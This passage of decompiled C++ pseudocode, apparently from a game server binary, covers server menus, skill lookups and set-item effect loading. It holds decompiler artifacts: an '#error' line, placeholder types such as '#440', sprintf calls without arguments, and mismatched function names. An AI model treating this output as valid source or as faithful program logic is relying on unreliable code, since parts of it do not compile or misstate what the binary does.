v1->sma_Selected[3].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #440 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[4].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #440 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[5].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #440 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[6].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #440 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[7].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #440 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[8].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #440 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[9].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #440 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Subst = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuActor::sma_Reset"); } //----- (004C9700) -------------------------------------------------------- void __thiscall ServerMenuActor::sma_Regist(ServerMenuActor *this, void (__thiscall *func)(ServerMenuFuncter *, #440 *, ServerMenuArgument *), ServerMenuArgument *sma) { ServerMenuActor *v3; // ebx@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuActor::sma_Regist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuActor::sma_Regist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->sma_Subst; if ( v4 < 10 ) { memcpy(&v3->sma_Selected[v4], sma, 0x68u); v3->sma_Selected[v3->sma_Subst++].smfunction = func; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuActor::sma_Regist"); } else { AssertClass::ac_AssertFail(&shineassert, "ServerMenuActor::sma_Regist : Too many regist", v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuActor::sma_Regist"); } } //----- (004C9810) -------------------------------------------------------- void __thiscall ServerMenuActor::sma_Reply(ServerMenuActor *this, #440 *a2, char reply) { ServerMenuActor *v3; // ebx@1 int v4; // ecx@3 void (__thiscall *v5)(ServerMenuFuncter *, #440 *, ServerMenuArgument *); // ebp@3 char *v6; // [sp-4h] [bp-90h]@2 ServerMenuArgument arg; // [sp+14h] [bp-78h]@3 unsigned int v8; // [sp+7Ch] [bp-10h]@4 int v9; // [sp+88h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuActor::sma_Reply"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuActor::sma_Reply"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( (unsigned __int8)reply < 0xAu ) { v4 = (unsigned __int8)reply; v5 = v3->sma_Selected[v4].smfunction; memcpy(&arg, &v3->sma_Selected[v4], 0x68u); ServerMenuActor::sma_Reset(v3); v5((ServerMenuFuncter *)&ServerMenuActor::sma_Functer, a2, &arg); v9 = -1; v6 = "ServerMenuActor::sma_Reply"; } else { AssertClass::ac_AssertFail(&shineassert, "ServerMenuActor::sma_Reply : Too many regist", (unsigned __int8)reply); ServerMenuActor::sma_Reset(v3); v9 = -1; v6 = "ServerMenuActor::sma_Reply"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); __security_check_cookie(v8); } //----- (004C9930) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ecx@3 int v6; // eax@3 int v7; // ecx@3 int v8; // ebx@3 char v9; // al@3 bool v10; // bl@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S10_11 & 1) ) { _S10_11 |= 1u; cmc_55.cmc_AllowMode = 78; atexit(_E11_24); } v5 = *(_DWORD *)((char *)v4 + 78); v6 = *(_DWORD *)v5; v7 = *(_DWORD *)(v5 + 4) - *((_DWORD *)v4 + 17087); v8 = (v6 - *((_DWORD *)v4 + 17086)) * (v6 - *((_DWORD *)v4 + 17086)); v9 = *((_BYTE *)v4 + 23325); v10 = (unsigned int)(v7 * v7 + v8) > 0xF4240; if ( v9 & 2 ) v10 = 0; if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_55.cmc_AllowMode) || v10 ) { *((_BYTE *)v4 + 23325) = v9 & 0xFD; ServerMenuActor::sma_Reset((ServerMenuActor *)((char *)v4 + 68344)); } else { ServerMenuActor::sma_Reply((ServerMenuActor *)((char *)v4 + 68344), (#440 *)v4, *(_BYTE *)(netcmd + 2)); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK"); } //----- (004C9A70) -------------------------------------------------------- #error "4C9A70: undefined or illegal type '#331' (funcsize=238)" //----- (004C9DC0) -------------------------------------------------------- void __thiscall SkillDataBox::sdb_Home(SkillDataBox *this, int *sub) { *sub = -1; } //----- (004C9DD0) -------------------------------------------------------- char __thiscall SkillDataBox::sdb_Next(SkillDataBox *this, int *sub) { int v2; // edx@1 v2 = *sub + 1; *sub = v2; return v2 < (signed int)this->sdb_MaxValid; } //----- (004C9DF0) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::sdb_Get(SkillDataBox *this, int *sub) { return &this->sdb_ValidArray[*sub]; } //----- (004C9E10) -------------------------------------------------------- unsigned int __thiscall SetItemData::SkillEffect::operator__(SetItemData::SkillEffect *this, SetItemEffect::SetIndex index) { unsigned int result; // eax@2 if ( (signed int)index >= 15 ) result = 1000; else result = this->se_Argument[index]; return result; } //----- (004C9E30) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_Clear(SetItemData::SetItemAbstateEffect *this) { unsigned int v1; // eax@1 v1 = 0; do { this->siae_Buffer[v1].Index = 0; this->siae_Buffer[v1++].Argument_Base1000 = 1000; } while ( v1 < 4 ); } //----- (004C9E60) -------------------------------------------------------- unsigned __int16 __thiscall SetItemData::SetItemAbstateEffect::siae_GetArgument_Base1000(SetItemData::SetItemAbstateEffect *this, SetItemEffect::SetIndex idx) { unsigned int v2; // eax@1 v2 = 0; while ( this->siae_Buffer[v2].Index != idx ) { ++v2; if ( v2 >= 4 ) return 1000; } return this->siae_Buffer[v2].Argument_Base1000; } //----- (004C9E80) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore(SetItemData::SetItemAbstateEffect *this, SetItemEffect::SetIndex idx) { unsigned int v2; // edi@2 int v3; // eax@3 SetItemEffect::SetIndex v4; // edx@4 if ( (signed int)idx < 15 ) { v2 = setitemskilleffect.se_Argument[idx]; if ( v2 != 1000 ) { v3 = 0; do { v4 = this->siae_Buffer[v3].Index; if ( v4 == idx ) break; if ( !v4 ) break; ++v3; } while ( (unsigned int)v3 < 4 ); if ( (unsigned int)v3 < 4 ) { this->siae_Buffer[v3].Index = idx; this->siae_Buffer[v3].Argument_Base1000 = v2; } else { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore : Too many effect", v3); } } } } //----- (004C9EE0) -------------------------------------------------------- void __thiscall SetItemData::EffectDescription::EffectDescription(SetItemData::EffectDescription *this) { *(_QWORD *)&this->index.n8_name[24] = 0i64; *(_QWORD *)&this->index.n8_name[16] = 0i64; *(_QWORD *)&this->index.n8_name[8] = 0i64; *(_QWORD *)&this->index.n8_name[0] = 0i64; this->skilllist = 0; this->skillnumber = 0; } //----- (004C9F10) -------------------------------------------------------- void __thiscall SetItemData::EffectDescription::_EffectDescription(SetItemData::EffectDescription *this) { if ( this->skilllist ) operator delete__(this->skilllist); } //----- (004C9F20) -------------------------------------------------------- char __thiscall SetItemData::EffectDescription::ed_SkillIndexTest(SetItemData::EffectDescription *this, SkillDataBox::SkillDataIndex *sdi, char *skillgroup, char *from, char *to) { const char *v5; // ST04_4@2 const char *v6; // ST10_4@3 char *v7; // ecx@6 char *v8; // edx@6 char v9; // al@7 char v10; // dl@8 unsigned int v11; // eax@9 void *v12; // edi@9 char v13; // cl@10 unsigned int v14; // eax@11 void *v15; // edi@11 char v16; // cl@12 char *v17; // eax@14 const char *v18; // ST04_4@14 const char *v19; // ST10_4@22 const char *v20; // ST10_4@30 const char *v21; // ST10_4@38 char result; // al@48 char nm[4]; // [sp+Ch] [bp-1F4h]@2 int v24; // [sp+10h] [bp-1F0h]@2 int v25; // [sp+14h] [bp-1ECh]@2 int v26; // [sp+18h] [bp-1E8h]@2 int v27; // [sp+1Ch] [bp-1E4h]@2 int v28; // [sp+20h] [bp-1E0h]@2 int v29; // [sp+24h] [bp-1DCh]@2 int v30; // [sp+28h] [bp-1D8h]@2 char v31[4]; // [sp+2Ch] [bp-1D4h]@22 int v32; // [sp+30h] [bp-1D0h]@22 int v33; // [sp+34h] [bp-1CCh]@22 int v34; // [sp+38h] [bp-1C8h]@22 int v35; // [sp+3Ch] [bp-1C4h]@22 int v36; // [sp+40h] [bp-1C0h]@22 int v37; // [sp+44h] [bp-1BCh]@22 int v38; // [sp+48h] [bp-1B8h]@22 char v39[4]; // [sp+4Ch] [bp-1B4h]@14 int v40; // [sp+50h] [bp-1B0h]@14 int v41; // [sp+54h] [bp-1ACh]@14 int v42; // [sp+58h] [bp-1A8h]@14 int v43; // [sp+5Ch] [bp-1A4h]@14 int v44; // [sp+60h] [bp-1A0h]@14 int v45; // [sp+64h] [bp-19Ch]@14 int v46; // [sp+68h] [bp-198h]@14 char v47[4]; // [sp+6Ch] [bp-194h]@14 int v48; // [sp+70h] [bp-190h]@14 int v49; // [sp+74h] [bp-18Ch]@14 int v50; // [sp+78h] [bp-188h]@14 int v51; // [sp+7Ch] [bp-184h]@14 int v52; // [sp+80h] [bp-180h]@14 int v53; // [sp+84h] [bp-17Ch]@14 int v54; // [sp+88h] [bp-178h]@14 char map[4]; // [sp+8Ch] [bp-174h]@2 int v56; // [sp+90h] [bp-170h]@2 int v57; // [sp+94h] [bp-16Ch]@2 int v58; // [sp+98h] [bp-168h]@2 int v59; // [sp+9Ch] [bp-164h]@2 int v60; // [sp+A0h] [bp-160h]@2 int v61; // [sp+A4h] [bp-15Ch]@2 int v62; // [sp+A8h] [bp-158h]@2 MapSubString mss; // [sp+ACh] [bp-154h]@9 char mapfrom[64]; // [sp+170h] [bp-90h]@7 char mapto[64]; // [sp+1B0h] [bp-50h]@8 unsigned int v66; // [sp+1F0h] [bp-10h]@48 int v67; // [sp+1FCh] [bp-4h]@13 if ( *from == 45 ) { v62 = 0; v61 = 0; v60 = 0; v59 = 0; v58 = 0; v57 = 0; v56 = 0; *(_DWORD *)map = 0; strncpy(map, skillgroup, 0x20u); v5 = sdi->sdi_Activ->InxName; v30 = 0; v29 = 0; v28 = 0; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)nm = 0; strncpy(nm, v5, 0x20u); if ( !Name8::operator__((Name8 *)map, (Name8 *)nm) ) { v6 = sdi->sdi_Activ->SkillClassifierA; v30 = 0; v29 = 0; v28 = 0; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)nm = 0; strncpy(nm, v6, 0x20u); if ( !Name8::operator__((Name8 *)map, (Name8 *)nm) ) { Name8::Name8((Name8 *)nm, sdi->sdi_Activ->SkillClassifierB); if ( !Name8::operator__((Name8 *)map, (Name8 *)nm) ) { Name8::Name8((Name8 *)nm, sdi->sdi_Activ->SkillClassifierC); Name8::operator__((Name8 *)map, (Name8 *)nm); } } } } else { v7 = skillgroup; v8 = skillgroup; do { v9 = *v8; v8[mapfrom - skillgroup] = *v8; ++v8; } while ( v9 ); do { v10 = *v7; v7[mapto - skillgroup] = *v7; ++v7; } while ( v10 ); v11 = strlen(from) + 1; v12 = (char *)&mss.mss_StrLen + 3; do { v13 = *((_BYTE *)v12 + 1); v12 = (char *)v12 + 1; } while ( v13 ); memcpy(v12, from, v11); v14 = strlen(to) + 1; v15 = &mapfrom[63]; do { v16 = *((_BYTE *)v15 + 1); v15 = (char *)v15 + 1; } while ( v16 ); memcpy(v15, to, v14); MapSubString::MapSubString(&mss, mapfrom, mapto); v67 = 0; MapSubString::mss_Home(&mss); if ( MapSubString::mss_Next(&mss) ) { while ( 1 ) { v17 = MapSubString::mss_Get(&mss); v54 = 0; v53 = 0; v52 = 0; v51 = 0; v50 = 0; v49 = 0; v48 = 0; *(_DWORD *)v47 = 0; strncpy(v47, v17, 0x20u); v18 = sdi->sdi_Activ->InxName; v46 = 0; v45 = 0; v44 = 0; v43 = 0; v42 = 0; v41 = 0; v40 = 0; *(_DWORD *)v39 = 0; strncpy(v39, v18, 0x20u); if ( *(_DWORD *)v47 == *(_DWORD *)v39 ) { if ( v48 == v40 && v49 == v41 && v50 == v42 && v51 == v43 && v52 == v44 && v53 == v45 && v54 == v46 ) break; } v19 = sdi->sdi_Activ->SkillClassifierA; v38 = 0; v37 = 0; v36 = 0; v35 = 0; v34 = 0; v33 = 0; v32 = 0; *(_DWORD *)v31 = 0; strncpy(v31, v19, 0x20u); if ( *(_DWORD *)v47 == *(_DWORD *)v31 ) { if ( v48 == v32 && v49 == v33 && v50 == v34 && v51 == v35 && v52 == v36 && v53 == v37 && v54 == v38 ) break; } v20 = sdi->sdi_Activ->SkillClassifierB; v30 = 0; v29 = 0; v28 = 0; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)nm = 0; strncpy(nm, v20, 0x20u); if ( *(_DWORD *)v47 == *(_DWORD *)nm ) { if ( v48 == v24 && v49 == v25 && v50 == v26 && v51 == v27 && v52 == v28 && v53 == v29 && v54 == v30 ) break; } v21 = sdi->sdi_Activ->SkillClassifierC; v62 = 0; v61 = 0; v60 = 0; v59 = 0; v58 = 0; v57 = 0; v56 = 0; *(_DWORD *)map = 0; strncpy(map, v21, 0x20u); if ( *(_DWORD *)v47 == *(_DWORD *)map ) { if ( v48 == v56 && v49 == v57 && v50 == v58 && v51 == v59 && v52 == v60 && v53 == v61 && v54 == v62 ) break; } if ( !MapSubString::mss_Next(&mss) ) goto LABEL_47; } v67 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mss); } else { LABEL_47: v67 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mss); } } __security_check_cookie(v66); return result; } //----- (004CA4E0) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::SetItemEffectList(SetItemData::SetItemEffectList *this) { _eh_vector_constructor_iterator_( this, 0x30u, 1024, (void (__thiscall *)(void *))SetItemData::EffectDescription::EffectDescription, (void (__thiscall *)(void *))SetItemData::EffectDescription::_EffectDescription); } //----- (004CA500) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::_SetItemEffectList(SetItemData::SetItemEffectList *this) { _eh_vector_destructor_iterator_( this, 0x30u, 1024, (void (__thiscall *)(void *))SetItemData::EffectDescription::_EffectDescription); } //----- (004CA520) -------------------------------------------------------- unsigned __int16 __thiscall SetItemData::SetItemEffectList::siel_Index2RegistNumber(SetItemData::SetItemEffectList *this, Name8 *index) { int v2; // ebx@1 int v3; // eax@1 int v4; // edx@2 int v5; // edx@3 int v6; // ebp@3 char *v7; // edx@3 v2 = this->siel_MaxEffect; v3 = 0; if ( v2 <= 0 ) { LABEL_12: LOWORD(v3) = -1; } else { v4 = 0; while ( 1 ) { v5 = v4; v6 = *(_DWORD *)&this->siel_SetItemEffectList[v5].index.n8_name[0]; v7 = (char *)this + v5 * 48; if ( *(_DWORD *)&index->n8_name[0] == v6 ) { if ( *(_DWORD *)&index->n8_name[4] == *((_DWORD *)v7 + 1) && *(_DWORD *)&index->n8_name[8] == *((_DWORD *)v7 + 2) && *(_DWORD *)&index->n8_name[12] == *((_DWORD *)v7 + 3) && *(_DWORD *)&index->n8_name[16] == *((_DWORD *)v7 + 4) && *(_DWORD *)&index->n8_name[20] == *((_DWORD *)v7 + 5) && *(_DWORD *)&index->n8_name[24] == *((_DWORD *)v7 + 6) && *(_DWORD *)&index->n8_name[28] == *((_DWORD *)v7 + 7) ) break; } ++v3; v4 = (unsigned __int16)v3; if ( (unsigned __int16)v3 >= v2 ) goto LABEL_12; } } return v3; } //----- (004CA5A0) -------------------------------------------------------- void __thiscall SetItemData::EffectByPiece::EffectByPiece(SetItemData::EffectByPiece *this) { *(_QWORD *)&this->ebp_Index.n8_name[24] = 0i64; *(_QWORD *)&this->ebp_Index.n8_name[16] = 0i64; *(_QWORD *)&this->ebp_Index.n8_name[8] = 0i64; *(_QWORD *)&this->ebp_Index.n8_name[0] = 0i64; *(_DWORD *)this->ebp_EffectArray[0] = -1; *(_DWORD *)&this->ebp_EffectArray[0][2] = -1; *(_DWORD *)this->ebp_EffectArray[1] = -1; *(_DWORD *)&this->ebp_EffectArray[1][2] = -1; *(_DWORD *)this->ebp_EffectArray[2] = -1; *(_DWORD *)&this->ebp_EffectArray[2][2] = -1; *(_DWORD *)this->ebp_EffectArray[3] = -1; *(_DWORD *)&this->ebp_EffectArray[3][2] = -1; *(_DWORD *)this->ebp_EffectArray[4] = -1; *(_DWORD *)&this->ebp_EffectArray[4][2] = -1; *(_DWORD *)this->ebp_EffectArray[5] = -1; *(_DWORD *)&this->ebp_EffectArray[5][2] = -1; } //----- (004CA5F0) -------------------------------------------------------- void __thiscall SetItemData::EffectByPiece::ebp_Append(SetItemData::EffectByPiece *this, SetItem *si) { SetItemData::EffectByPiece *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // edi@4 signed int v5; // eax@4 int v6; // ecx@4 int v7; // eax@7 int v8; // edx@7 int v9; // ecx@7 int v10; // eax@7 int v11; // edx@7 int v12; // ecx@7 int v13; // edx@7 char name[4]; // [sp+14h] [bp-A4h]@1 int v15; // [sp+18h] [bp-A0h]@1 int v16; // [sp+1Ch] [bp-9Ch]@1 int v17; // [sp+20h] [bp-98h]@1 int v18; // [sp+24h] [bp-94h]@1 int v19; // [sp+28h] [bp-90h]@1 int v20; // [sp+2Ch] [bp-8Ch]@1 int v21; // [sp+30h] [bp-88h]@1 int buf; // [sp+34h] [bp-84h]@7 int v23; // [sp+38h] [bp-80h]@7 int v24; // [sp+3Ch] [bp-7Ch]@7 int v25; // [sp+40h] [bp-78h]@7 int v26; // [sp+44h] [bp-74h]@7 int v27; // [sp+48h] [bp-70h]@7 int v28; // [sp+4Ch] [bp-6Ch]@7 int v29; // [sp+50h] [bp-68h]@7 char v30; // [sp+54h] [bp-64h]@7 v2 = this; v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; v16 = 0; v15 = 0; *(_DWORD *)name = 0; strncpy(name, si->Effect, 0x20u); v3 = SetItemData::SetItemEffectList::siel_Index2RegistNumber(&setitemeffectlist, (Name8 *)name); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SetItemData::EffectByPiece::ebp_Append : Effect not found", si->Effect); ShineExit("SetItemData::EffectByPiece::ebp_Append"); } v4 = si->Piece; v5 = 0; v6 = (int)v2->ebp_EffectArray[v4]; while ( *(_WORD *)v6 != -1 ) { ++v5; v6 += 2; if ( v5 >= 4 ) { v7 = *(_DWORD *)&v2->ebp_Index.n8_name[8]; v8 = *(_DWORD *)&v2->ebp_Index.n8_name[4]; buf = *(_DWORD *)&v2->ebp_Index.n8_name[0]; v9 = *(_DWORD *)&v2->ebp_Index.n8_name[12]; v24 = v7; v10 = *(_DWORD *)&v2->ebp_Index.n8_name[20]; v23 = v8; v11 = *(_DWORD *)&v2->ebp_Index.n8_name[16]; v25 = v9; v12 = *(_DWORD *)&v2->ebp_Index.n8_name[24]; v27 = v10; v26 = v11; v13 = *(_DWORD *)&v2->ebp_Index.n8_name[28]; v28 = v12; v29 = v13; v30 = 0; AssertClass::ac_AssertFail( &shineassert, "SetItemData::EffectByPiece::ebp_Append : Too many effect in piece", (const char *)&buf); ShineExit("SetItemData::EffectByPiece::ebp_Append"); } } *(_WORD *)&v2->ebp_Index.n8_name[2 * (v5 + 4 * v4 + 16)] = v3; } //----- (004CA730) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::SetItemClassifier(SetItemData::SetItemClassifier *this) { _eh_vector_constructor_iterator_( this, 0x50u, 256, (void (__thiscall *)(void *))SetItemData::EffectByPiece::EffectByPiece, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004CA750) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::_SetItemClassifier(SetItemData::SetItemClassifier *this) { _eh_vector_destructor_iterator_( this, 0x50u, 256, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004CA770) -------------------------------------------------------- unsigned __int16 __thiscall SetItemData::SetItemClassifier::sic_Index2RegistNumber(SetItemData::SetItemClassifier *this, Name8 *index) { int v2; // ebx@1 int v3; // eax@1 int v4; // edx@2 int v5; // edx@3 int v6; // ebp@3 char *v7; // edx@3 v2 = this->sic_MaxType; v3 = 0; if ( v2 <= 0 ) { LABEL_12: LOWORD(v3) = -1; } else { v4 = 0; while ( 1 ) { v5 = v4; v6 = *(_DWORD *)&this->sic_SetItemStruct[v5].ebp_Index.n8_name[0]; v7 = (char *)this + v5 * 80; if ( *(_DWORD *)&index->n8_name[0] == v6 ) { if ( *(_DWORD *)&index->n8_name[4] == *((_DWORD *)v7 + 1) && *(_DWORD *)&index->n8_name[8] == *((_DWORD *)v7 + 2) && *(_DWORD *)&index->n8_name[12] == *((_DWORD *)v7 + 3) && *(_DWORD *)&index->n8_name[16] == *((_DWORD *)v7 + 4) && *(_DWORD *)&index->n8_name[20] == *((_DWORD *)v7 + 5) && *(_DWORD *)&index->n8_name[24] == *((_DWORD *)v7 + 6) && *(_DWORD *)&index->n8_name[28] == *((_DWORD *)v7 + 7) ) break; } ++v3; v4 = (unsigned __int16)v3; if ( (unsigned __int16)v3 >= v2 ) goto LABEL_12; } } return v3; } //----- (004CA7F0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkill(int this) { return *(_WORD *)(this + 92246); } //----- (004CA800) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkillClear(int this) { *(_WORD *)(this + 92246) = -1; } //----- (004CA810) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectRestore(SetItemData::SetItemAbstateEffect *this, ABSTATEREADBLOCK *str) { this->siae_Buffer[0].Index = str->setitem[0].Index; this->siae_Buffer[0].Argument_Base1000 = str->setitem[0].Value; this->siae_Buffer[1].Index = str->setitem[1].Index; this->siae_Buffer[1].Argument_Base1000 = str->setitem[1].Value; this->siae_Buffer[2].Index = str->setitem[2].Index; this->siae_Buffer[2].Argument_Base1000 = str->setitem[2].Value; this->siae_Buffer[3].Index = str->setitem[3].Index; this->siae_Buffer[3].Argument_Base1000 = str->setitem[3].Value; } //----- (004CA860) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_FillSetItemEffect(SetItemData::SetItemAbstateEffect *this, ABSTATEREADBLOCK *str) { str->setitem[0].Index = LOWORD(this->siae_Buffer[0].Index); str->setitem[0].Value = this->siae_Buffer[0].Argument_Base1000; str->setitem[1].Index = LOWORD(this->siae_Buffer[1].Index); str->setitem[1].Value = this->siae_Buffer[1].Argument_Base1000; str->setitem[2].Index = LOWORD(this->siae_Buffer[2].Index); str->setitem[2].Value = this->siae_Buffer[2].Argument_Base1000; str->setitem[3].Index = LOWORD(this->siae_Buffer[3].Index); str->setitem[3].Value = this->siae_Buffer[3].Argument_Base1000; } //----- (004CA8B0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x211u, 0xF0u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004CA960) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x5Au, 0x41u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004CAA10) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(SetItemData::SetItemAbstateEffect *this) { unsigned int v1; // edx@1 v1 = 0; do { this->siae_Buffer[v1].Index = 0; this->siae_Buffer[v1++].Argument_Base1000 = 1000; } while ( v1 < 4 ); } //----- (004CAA40) -------------------------------------------------------- void __thiscall SetItemData::EffectDescription::ed_Store(SetItemData::EffectDescription *this, SetItemEffect *effect) { SetItemData::EffectDescription *v2; // ebx@1 int v3; // edi@1 signed int v4; // ebp@5 char *v5; // edi@8 int v6; // eax@9 int v7; // eax@12 void *v8; // eax@15 signed int sub; // [sp+Ch] [bp-20Ch]@5 __int16 tmpbuffer[256]; // [sp+14h] [bp-204h]@12 v2 = this; v3 = 0; *(_QWORD *)&this->index.n8_name[24] = 0i64; *(_QWORD *)&this->index.n8_name[16] = 0i64; *(_QWORD *)&this->index.n8_name[8] = 0i64; *(_QWORD *)&this->index.n8_name[0] = 0i64; strncpy(this->index.n8_name, effect->Effect, 0x20u); v2->seteffect = effect->Index; v2->setargument = effect->Argument; v2->skillnumber = 0; if ( effect->SkillGroup[0] == 45 ) { if ( v2->skilllist ) operator delete__(v2->skilllist); v2->skilllist = 0; v2->skillnumber = 0; } else { sub = -1; v4 = -320; while ( 1 ) { v4 += 320; ++sub; if ( sub >= (signed int)skilldatabox.sdb_MaxValid ) break; v5 = (char *)skilldatabox.sdb_ValidArray + v4; if ( SetItemData::EffectDescription::ed_SkillIndexTest( v2, (SkillDataBox::SkillDataIndex *)((char *)skilldatabox.sdb_ValidArray + v4), effect->SkillGroup, effect->From, effect->To) ) { v6 = v2->skillnumber; if ( (unsigned int)v6 >= 0x100 ) { AssertClass::ac_AssertFail(&shineassert, "SetItemData::EffectDescription::ed_Store : TempBuffer full", v6); ShineExit("SetItemData::EffectDescription::ed_Store"); } v7 = v2->skillnumber; tmpbuffer[v7] = **((_WORD **)v5 + 1); v2->skillnumber = v7 + 1; } v3 = 0; } if ( v2->skillnumber <= v3 ) AssertClass::ac_AssertFail( &shineassert, "SetItemData::EffectDescription::ed_Store : Effect with no skill", effect->Effect); v8 = operator new__(2 * v2->skillnumber); v2->skilllist = (unsigned __int16 *)v8; if ( (v8 != (void *)v3) == v3 ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::EffectDescription::ed_Store : Memory alloc fail", v2->skillnumber); ShineExit("SetItemData::EffectDescription::ed_Store"); } memcpy(v2->skilllist, tmpbuffer, 2 * v2->skillnumber); qsort(v2->skilllist, v2->skillnumber, 2u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } } //----- (004CAC10) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::siel_Load(SetItemData::SetItemEffectList *this) { SetItemData::SetItemEffectList *v1; // esi@1 int v2; // ebx@1 unsigned int v3; // eax@4 const char *v4; // ebx@8 bool v5; // sf@13 unsigned __int8 v6; // of@13 unsigned int l; // [sp+10h] [bp-170h]@4 int totalnum; // [sp+14h] [bp-16Ch]@1 char index[4]; // [sp+18h] [bp-168h]@10 int v10; // [sp+1Ch] [bp-164h]@10 int v11; // [sp+20h] [bp-160h]@10 int v12; // [sp+24h] [bp-15Ch]@10 int v13; // [sp+28h] [bp-158h]@10 int v14; // [sp+2Ch] [bp-154h]@10 int v15; // [sp+30h] [bp-150h]@10 int v16; // [sp+34h] [bp-14Ch]@10 char setitemeffect; // [sp+38h] [bp-148h]@1 int v18; // [sp+68h] [bp-118h]@1 char effect; // [sp+74h] [bp-10Ch]@1 unsigned int cookie; // [sp+16Ch] [bp-14h]@14 int v21; // [sp+17Ch] [bp-4h]@1 v1 = this; CCharacterTitleData::CCharacterTitleData((BinaryData *)&setitemeffect); memset(&effect, 0, 0xF0u); v21 = 0; BinaryDataBox::bdb_ReadData( (BinaryDataBox 